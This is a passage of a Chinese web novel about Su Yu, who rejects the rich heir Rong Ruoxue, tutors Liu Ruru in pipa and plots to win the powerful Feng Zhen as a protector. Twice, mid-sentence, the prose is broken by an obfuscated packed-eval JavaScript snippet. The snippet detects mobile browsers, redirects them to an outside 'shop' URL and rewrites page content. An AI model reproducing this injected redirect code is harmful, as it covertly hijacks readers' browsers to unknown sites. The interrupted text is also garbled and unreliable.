良久,容若雪才开口,声音颤抖:“所以……你永远不会相信我,是吗?” 苏玉看着他通红的眼睛,她知道,她不能心软。 “是。”她说得很干脆,“我无法相信一个没吃过苦的人的承诺。” 容若雪脸上最后一丝血色也褪了。他没出声,就那样面色苍白的想着她窘迫的过往,像个被抛弃的小孩。 苏玉别开脸,不去看他。她知道这话很伤人,但长痛不如短痛。 “菜来了。”服务员敲门进来,打破了凝固的气氛。 一道道菜摆上桌,色香味俱全,但两人都没动筷子。 服务员感觉到不对劲,赶紧退出去了。 “吃饭吧,”苏玉说,“别浪费。” 容若雪没动。 他擦了擦眼泪,深吸一口气,抬起头:“苏玉,我知道我现在不够好。但我会变强大的。我会变成配得上你的人。到那时候……如果我变得足够好,你愿意再看我一眼吗?” 苏玉:“……” “你不用现在回答我。”容若雪说,“我只是想告诉你……我喜欢你,不是一时冲动。我会证明给你看。” 说完,他拿起筷子,开始吃饭。 吃得很慢,但很认真,一口一口,像在完成什么仪式。 苏玉看着他,忽然觉得心里堵得慌。大可不必,这么认真,太让人觉得沉重啦。 这顿饭吃得很沉默。 吃完饭,容若雪坚持要送苏玉回去。苏玉拒绝了,但他还是跟了出来,保持着三步的距离,默默跟在后面。 老城区的街道很窄,两边是各种小店。苏玉走了一段,忽然在一家奶茶店前停下。 “要喝奶茶吗?”她回头问。 容若雪愣了一下,点点头。 苏玉买了两杯,一杯全糖珍珠奶茶,一杯三分糖的果茶。 她把三分糖果茶递给容若雪:“给你。” 容若雪接过,小声说:“谢谢。” 两人继续走,边走边喝奶茶。 午后的阳光透过梧桐树叶洒下来,在地上投出斑驳的光影,街道很安静。 “苏玉。”容若雪忽然开口。 “嗯?” “你以后……想做什么?”他问,“毕业之后。” 苏玉想了想:“可能继续读书吧,最好能做学者。然后……做点自己想做的研究,还有自己想做的事。” “你想做什么?” 苏玉笑了笑:“很多啊。想学更多东西,想去更多地方看看,想……让自己变得强大,强大到可以保护想保护的人。” 容若雪看着她:“我想保护你。” 苏玉没接话。 “我知道我现在没这个能力,”容若雪说,“但我会努力的。真的。” 苏玉停下脚步,转身看着他。 “容若雪,”她说,“你不需要为了任何人改变自己。你就做你自己就好。” “可是……” “没有可是。”苏玉说,“你是个很好的人。善良,真诚,热情。这些品质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026961|194468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很珍贵,不要因为任何人失去它们。” 容若雪眼睛又红了:“那你为什么不喜欢我?” 苏玉叹了口气:“喜欢这种事,没有为什么。就像……我喜欢喝全糖奶茶,一定要是十分糖,而你们只喜欢健康无糖的饮食。没有对错,只是口味不同。” 容若雪似懂非懂。 苏玉把最后一口奶茶喝完,把空杯子扔进垃圾桶。 “我到了。”她说,“你回去吧。” 容若雪抬头,才发现他们已经走到云栖别墅区门口了。 “我……我能再给你发消息吗?”他小心翼翼地问。 苏玉想了想:“我不一定回复。” “好!”容若雪眼睛又亮了,“那我……我走了。” “嗯。”苏玉说。 容若雪转身,走了几步,又回头: “苏玉。” “嗯?” “不管你怎么想,我都会一直喜欢你。”他说,“这是我的自由。” 说完,他就跑了,像怕听到拒绝一样。 苏玉站在原地,看着他的背影消失在街角。 然后她叹了口气,转身走进别墅区。 回到房间,她打开智机,看见容若雪已经发来了消息:“我到家了。今天谢谢你陪我吃饭,还有果茶。我喜欢芝士莓莓三分糖,很好喝。” 苏玉没回。 她躺到床上,盯着天花板。 今天的话说得很重,但她不后悔。 容若雪需要清醒。 而她,也需要划清界限。 正想着,智机又震了。 全息屏幕弹出。 这次是封甄发来的消息—— “容卿沉今天下午离开白兰都,回炎之国了。他暂时不会再来找你。” 苏玉愣了一下,回复:“你怎么知道?” “我有我的渠道。”封甄回,“另外,论坛又出新帖了。关于你和容二今天中午吃饭的事。” 苏玉:“……” 她切到论坛,果然看见一个热帖: 【现场直击】玉嫔和容二少私会老城区!两人并肩喝奶茶,容二少疑似哭过! 下面附了好几张偷拍照——有他们在餐厅的,有走在路上的,还有容若雪红着眼睛的照片。 拍照角度很刁钻,把两人的距离拍得很近,看起来确实像在约会。 评论区已经疯狂: “我靠,R2真的哭了?玉嫔到底说了什么?” “这俩居然一起喝奶茶?所以玉,没拒绝二?” “不一定吧,玉玉表情挺冷淡的。” “但二心情不错啊啊,最后那张偷拍,他回头看玉的时候明明在笑。” 苏玉面无表情地看完,切回和封甄的聊天界面:“容大找人拍的?还放论坛上?这是生怕他弟弟流量不够吗?” “他为什么要这么做?”她问封甄。 “试探。”封甄说,“容卿沉想知道,你对容若雪到底什么态度。这些照片,就是试探的结果。” 苏玉沉默了。 所以今天这顿饭,从头到尾都在别人的监视下。 包括容若雪的眼泪,她的冷漠,甚至那两杯奶茶。 她退出聊天,用大号在论坛发了一条新动态。 没有文字,只有一张照片——是柳如如养的那只猫,正趴在她笔记本电脑上睡觉。照片角落能看见她写的代码,还有半杯喝剩的奶茶。 配文: “今日成就:学生写出了第一个完整的游戏模块。奖励自己一杯奶茶。” 发送。 一分钟后,评论蜂拥而至: “玉在备课?这么认真。” “那只猫好可爱!是云栖别墅区那家宠物店的吧?我见过!” “只有我注意到那杯奶茶和二手里那杯不一样吗?玉喝的是珍珠奶茶,容二少喝的是果茶。” “爱玉护玉,我玉专注自身,棒棒哒。” 苏玉刷着评论,嘴角弯了弯。这也算是在转移大家的注意力吧? 这时,柳如如敲门进来:“苏姐姐,我写完作业了。我们能继续写游戏吗?” 苏玉抬头,笑了:“好。” 她关掉手机,把那些纷纷扰扰抛在脑后。 窗外,夕阳西下,又是一天过去了。 7. 封闭针制造无数巧合“送货上门”…… 早晨八点整,苏玉被一阵轻柔的鸟鸣声唤醒——是房间智能系统自带的“自然唤醒音效”。 她盯着天花板上缓缓变幻的星空投影看了三秒,才反应过来自己在哪里。 柳眉的别墅。一百平方米的客房,她有记忆以来,第一次住这么大的房子。 哎呀呀,万恶的资本。 之所以能够在知道雪国有人打探她,甚至已经打探道柳眉这儿后,自己还能睡个好觉。 完全是因为她知道,或者潜意识中意识到,她与封甄建立的联系,封甄对她的态度,让她明白,封甄对她的善意,将来某一天,真的能够帮助到她。 这只是虚无缥缈的直觉吗? 苏玉想,冥冥中自有定数,昨天她心中怀着侥幸走出去健身,就看见了在健身房后的小径散步的封甄。 那么巧的是,封甄也抬头看向二楼。 他的腰伤恰好在那时犯了病,他就上来找他存放在这里的止痛喷雾。 唉,止痛喷雾。一个月前的夏青晚会,封甄也是腰伤犯了才忽然起身为她鼓掌吧,也正是因为他蓦然起身。那个夜晚,临时救场的她怀抱琵琶,与这位她只在新闻中见过的至高权力机构的一员有了片刻的对视。 在小兰书、推博等多个流量APP中,这个年纪轻轻就位居炎之国最顶端的青年,被无数人津津乐道的并非他的政绩和手腕。人们谈论这个青年,更多是他姑射仙人般脱俗的气质、冰山雪莲般遗世独立的清艳。 在夏青晚会上,苏玉竭尽全力炫技,弹奏那首几乎能唬住一般的琵琶演奏家的《春江花月夜》,为的是能够一如既往的表现优秀。 唯有保持优秀才能打开她的前途,她的未来。 在目眩的舞台打光下,她看不清黑压压的人群。 只知道有封甄这样的炎之国首屈一指的大人物出席,而他忽然起身,在那个角度,她看清了他的长相。 他们甚至对视了片刻。但苏玉甚至不知道他有没有看清她的样子,毕竟舞台的灯光从各个角度打到她身上,反而让她在其中显得模糊不清。 但她确实是看清了第一排忽然站起来,为她鼓掌的青年男子。 他比新闻报道中看起来要年轻些,也更好看些。 但气势凛然,甚至有些骇人。 因此无人质疑他忽然站起来,只是为这首虽则惊艳但不至于令人失态的春江花月夜而鼓掌的异常行为。 正是那个晚会上的对视,才有了昨天,她向楼下看,他往楼上看后,二人对视的片刻,封甄竟然对她点头示意了。 他还到处二楼找了止痛喷雾,从而有了简短的对话,加了联系方式。 简直不可思议。那可是十一人之一的封甄啊。 虽然加了联系方式后,两人一条信息都没发过。但是,无数的巧合促成了他们的认识,她要做的就是小心翼翼经营这段关系,让封甄成为她的靠山。 而这一切都是为了生存。她才不会因为他是绝美的青年,是权势滔天的龙傲天,是天龙人中的天龙人,就对他恋爱脑。 毕竟论美貌,即便是封甄,面对自己也要逊色一分的。 不是她自信,事实如此。 苏玉从柔软得像云朵的床上坐起来,然后愣住了。 床边的地毯上,整整齐齐摆着一套崭新的衣物:米白色亚麻长裙、同色系开衫、甚至还有搭配的森系草编手袋。旁边的小卡片上用娟秀的字迹写着:“小玉,换洗衣服准备好了,试试合不合身。——柳眉” 她拿起那件亚麻长裙,手感柔软得不可思议,标签上一个低调的logo让她眼皮一跳——这个牌子的价格,大概够她一学期的伙食费。 “眉姐姐,这太贵了……”苏玉喃喃自语。 房间里只有智能系统礼貌的回应:“苏小姐,请问需要什么服务?” 她叹了口气,把裙子小心放回去。 玉,由奢入俭难!拒绝诱惑啊! 她走进浴室,镜面触控板上一排按钮:恒温SPA、香氛模式、水压按摩、音乐淋浴…… 伴随着悠扬的钢琴曲和薰衣草香气,水流力度恰到好处地按摩着她的肩膀。 二十分钟后,她湿漉漉地从浴室出来,发现早餐已经送到了房间的小餐桌上。 不是想象中的面包牛奶,而是一整套中式早茶:水晶虾饺、菠萝包、豉汁凤爪、皮蛋瘦肉粥,还有一壶冒着热气的青茶。 苏玉数了数,一共八道点心。 “柳女士交代,今天她不能陪您用餐。为了苏小姐能够多吃点,所以每样都准备了一些。”系统温柔地回答,“如果不够,厨房可以随时加餐。” 苏玉看着那碟晶莹剔透的虾饺,每个都捏成完美的月牙形,薄皮透出粉嫩的虾肉。她记得小镇早餐摊的虾饺,三盟币五个,皮厚馅少,但就算那么便宜,她都吃不起,因为三盟币够买3包方便面,可以让她吃2天,而5个虾饺一顿就能吃完。 唉……这就是有钱人的生活。 万恶的资本。 但是,毕竟已经做出来了,不吃也是浪费。 她坐下,夹起一个,咬下去。 鲜甜的汁水在嘴里爆开,虾肉弹牙,配着淡淡的笋香。 确实好吃,好吃到让她有点心虚——这一顿早餐,可能比她过去一周在食堂的所有伙食费还贵。 吃到一半,房门被轻轻敲响。 “请进。”苏玉咽下嘴里的粥。 门推开,探进来一张少女的稚嫩面庞,如如眨巴着眼睛问她:“苏姐姐,早?” “如如,早安”苏玉站起来,“吃早饭了吗?” “吃啦!我妈非要我吃那个什么营养餐,难吃死了。”柳如如溜进来,眼睛扫过餐桌,立刻亮起来,“哇!虾饺!我妈偏心!我早上只有燕麦和膳食补充剂!” 她眼巴巴地看着苏玉,表情像只讨食的小狗。 苏玉失笑:“坐下一起吃吧。” “耶!”柳如如立刻拉开椅子坐下。 “如如。”苏玉给她倒了杯青茶,“对了,除了编程,你妈妈说还要给你安排好琵琶课程?” “嗯!”柳如如用力点头,她正吃着虾饺,含糊不清地说,“我看了你夏青晚会的视频!就那个……春江花月夜!太帅了!我也要学!” “学琵琶很辛苦的。”苏玉提醒她,“每天要练基本功,手指会起茧。” “我不怕!”柳如如握拳,“我都想好了,等我学会了,就在学校文艺汇演上表演,吓死我们班那群人!她们天天炫耀自己觉醒了什么D级视觉异能,能看清楚一百米外的东西——那有什么用!现在的智机都能清晰拍到二百米外的物体!” 这倒是提醒了苏玉,几个月开学后,她就要接受异能鉴定了。 毕竟从新元1020年起,出生的新生儿们都普遍带有异能了,虽然多是C级以下的初级异能,没有太多实用价值,比如刚才如如说的视觉异能。 最近研究发现,苏玉这些出生于新元1000年后的,其实也带有异能,只是不明显而已,比如有的人也有视觉强化,但是只能看清十米以外的物体,以为自己只是视力好。 “那吃完早饭,我们先看看你的琵琶。”苏玉说。 “苏姐姐,据说我们的异能在十岁后都会慢慢觉醒,如果到十五岁之后还没有任何反映,就会被定义为‘废柴’。”如如又说,“可是我已经十四岁,还什么都没有……” 房间里安静了几秒,只有智能系统播放的背景音乐——是一首舒缓的大提琴曲。 苏玉突然笑了:“如如,你想喝奶茶吗?” 而此刻,白兰都城另一端的某条商业街上,十九岁的财阀少爷——容若雪正面临人生最大的危机。 他站在一家奶茶店门口,手里捏着一张皱巴巴的招聘启事,上面写着:“招暑期工,时薪二十五盟币,包午餐。” 二十五盟币。 容若雪这辈子没赚过钱。他的零花钱是每月十万盟币,信用卡额度没有上限,想要什么只要说一声,第二天就会送到面前。 但现在,他兜里只有大哥“施舍”的一千盟币现金,和一张充了五百盟币的公交卡。 “同学,应聘吗?”奶茶店里走出一个系着围裙的年轻女孩,打量着他,“我们店要求穿统一制服,你能接受吗?” 容若雪低头看看自己身上那件定制衬衫——料子是雪国进口的,一件顶普通学生半年生活费——点了点头:“能。” “那进来填个表。”女孩转身进店。 容若雪跟进去,发现店面很小,只有四张桌子,操作台后站着两个正在忙碌的员工。空气里弥漫着甜腻的奶茶香。 “身份证带了吗?”女孩递过来一张表格,“填表吧。” 表格很简单,姓名年龄联系方式。 容若雪填到“工作经验”时,笔尖悬了半天,最后写了个“无”。 “没打过工?”女孩挑眉,“大学生?” “嗯。” “行吧,试用期三天,时薪二十,过了试用期二十五。”女孩收起表格,“今天能上班吗?” “能。” “那去后面换制服。”女孩指了指狭小的储藏间,“然后出来学做奶茶。” 五分钟后,容若雪穿着印着奶茶店logo的廉价T恤和围裙走出来,感觉浑身不自在。 这衣服布料粗糙,还有股消毒水的味道。 他忽然明白了旧纪元豌豆公主的童话。 “过来吧。”操作台后的男生——招呼他,“先学煮珍珠。” 接下来的一个小时,容若雪煮糊了一锅珍珠,因为看不懂温度设置。 他打翻了半桶牛奶,因为没拿稳那个沉重的塑料桶。 他试图用咖啡机蒸汽棒打奶泡,结果喷了自己一脸热牛奶。 那个教导他的男生从一开始的耐心教导,到后来的欲言又止,最后变成了深深的绝望:“兄弟……你是不是没进过厨房?” 容若雪脸上沾着奶渍,T恤湿了一大片,看着惨不忍睹的操作台,诚实地说:“我家有厨师。” “……” 中午休息时,容若雪领到了他的第一份“工作餐”——一份十五盟币的盒饭,两荤一素。他坐在店门口的小板凳上吃,米饭有点硬,青菜炒得过头了,但他吃得很认真。 旁边有两个女孩路过,看到他,小声议论:“哇,那个店员好帅!” “但看起来笨手笨脚的……刚才差点把奶茶洒出来。” “帅就行了!走走走,去买奶茶!” 容若雪低头扒饭,耳朵微微发红。 下午两点,他终于成功做出了第一杯合格的奶茶——珍珠煮得Q弹,糖度刚好,封口完美。小李激动得差点哭出来:“出师了!你可以接单了!” 第一个顾客是个戴眼镜的男生,看了看菜单:“要一杯经典奶茶,三分糖,去冰。” 容若雪点头,开始操作。他努力回忆步骤:加珍珠、加茶、加奶、加糖、摇匀、封口……一套动作做完,他把奶茶递过去。 男生接过,插上吸管喝了一口,皱眉:“兄弟,你这三分糖……有七分吧?” 容若雪:“……” “太甜了。”男生把奶茶推回来,“重做一杯。” 容若雪看着那杯被退回的奶茶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026962|194468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又看看男生不耐烦的表情,突然想起了苏玉。 苏玉说她曾经过着怎样的生活,她是否也打工,吃过很多苦呢? “对不起。”容若雪低声说,接过奶茶倒掉,重新开始做。 第二杯,男生尝过后点点头:“这次对了。” 容若雪松了口气。 “你是新来的?”男生付钱时随口问。 “嗯。” “大学生打工?” “嗯。” “不容易啊。”男生笑笑,拿着奶茶走了。 容若雪站在操作台后,看着男生离开的背影,又看看自己沾满糖渍的围裙,突然笑了。 原来这就是她过的生活。 而此刻,柳眉别墅里,苏玉正在给柳如如上第一堂琵琶课。 柳如如的琵琶是上好的紫檀木,弦是特制的尼龙钢丝弦,音色清亮。小姑娘坐姿端正,一脸认真。 “我们先学最基本的指法。”苏玉示范,“左手按弦,注意手腕要放松……” 她教得很耐心。 柳如如天赋不错,学得很快。一个上午,已经能磕磕绊绊弹出一小段《茉莉花》。 “我弹出来了!”小姑娘兴奋地转头。 “很好。”苏玉笑着点头,“不过有几个音不准,左手按弦力度不够……” 她伸手去调整柳如如的手指位置。 指尖触碰到柳如如手背的瞬间,异样的感觉突然涌上心头——不是触觉,更像是……某种情绪的涟漪。 温暖、雀跃、一点点紧张,还有对音乐纯粹的喜爱。 苏玉怔了怔,收回手。 “老师?”柳如如疑惑。 “没事。”苏玉摇摇头,大概是错觉。 但接下来的教学里,那种感觉又出现了几次。每次她触碰到柳如如,或者触碰琵琶时,都能隐约感知到某种微妙的“波动”——不是声音,不是温度,更像是一种……共鸣? 苏玉压下心中的疑惑,继续上课。 下午四点,课程结束。柳如如累得手指发酸,但眼睛亮晶晶的:“老师!明天还继续吗?” “当然。”苏玉帮她放松手指,“每天两小时,不能更久,不然手会受伤。” “好!” 柳如如抱着琵琶蹦蹦跳跳地走了。 苏玉留在琴房,看着窗外的庭院,若有所思。 她抬起自己的手,指尖在阳光下泛着健康的粉色。 刚才那种感觉…… 她摇摇头,决定不去多想。也许只是最近太累,出现了幻觉。 晚餐是和柳眉、柳如如一起吃的。菜品依然精致,但分量适中。 饭后,柳眉带她去别墅的花园散步。 初夏的傍晚,空气里有栀子花的香气。 “小玉,”柳眉突然开口,“如果有人找你麻烦,一定要告诉我。” 苏玉脚步一顿。 “我听说,容家二少爷为了你,和他大哥闹翻了。”柳眉看着她,眼神复杂,“那孩子现在自己在外面打工,过得不太容易。” 苏玉沉默。 “我不是要你做什么。”柳眉轻声说,“只是提醒你,有时候什么都不做,也会被卷入漩涡。你要保护好自己。” “……谢谢眉姐。”苏玉说。 回到房间,苏玉洗完澡,坐在床边看着窗外。夜色渐深,城市的灯火一盏盏亮起。 她打开了联盟学府论坛APP。 首页很平静,没有关于她的新帖子。倒是有一条热帖在讨论暑期工:《震惊!有人在白兰都城奶茶店看到疑似R2的帅哥店员!有图有真相!》 苏玉点进去。 主楼是一张模糊的偷拍照片:奶茶店操作台后,一个穿着围裙的男生侧着脸,正在封杯盖。虽然像素不高,但能看出清俊的轮廓和微卷的头发。 确实是容若雪。 底下回复已经刷了几百楼: “???真的是R2?” “不可能吧,二竟然打工?” “但真的好像……而且你们看,他手腕上那块表,是不是百达翡丽?” “我有个朋友在容氏工作,听说R2和他大哥大吵一架,被冻结了所有账户……” “所以真是体验生活来了?” “只有我关心他做的奶茶好喝吗?” “楼上,我朋友去买了,说三分糖甜得像全糖,珍珠煮糊了,但帅哥态度特别好,一直道歉。” “笑死,R2也有今天。” “莫名有点可爱怎么回事……” “这一切难道不是玉的错?” 苏玉关掉帖子,放下手机。 她走到窗前,看着远处城市的灯火,想起容若雪天真的固执。 又想起柳眉的话:保护好自己。 能够保护好自己的只有自己。如果自己不强大,没人能够背负自己前行,任何承诺都是用来打破的,不知为何,这样的观念从小就埋在她心底。 是因为八岁那年,父母承诺陪她过生日,她满心期待,迎来的是他们双双惨死的噩耗吗? 至于封甄,他的确是最有能力保护她,使她免受雪国伤害的人。 她不想和父母一样,莫名其妙就死于人为的“意外”。 甄,既然你被那么多“巧合”送到我的面前,不妨也做一次我的棋子? 她想到那个冰莲般纤尘不染的青年,他深邃如寒潭的黑眸。 她知道他心思沉重,并非简单之人。 “在做什么?” 腕间弹出的全息屏幕上是一条简单的信息。 而发件人正是:封甄。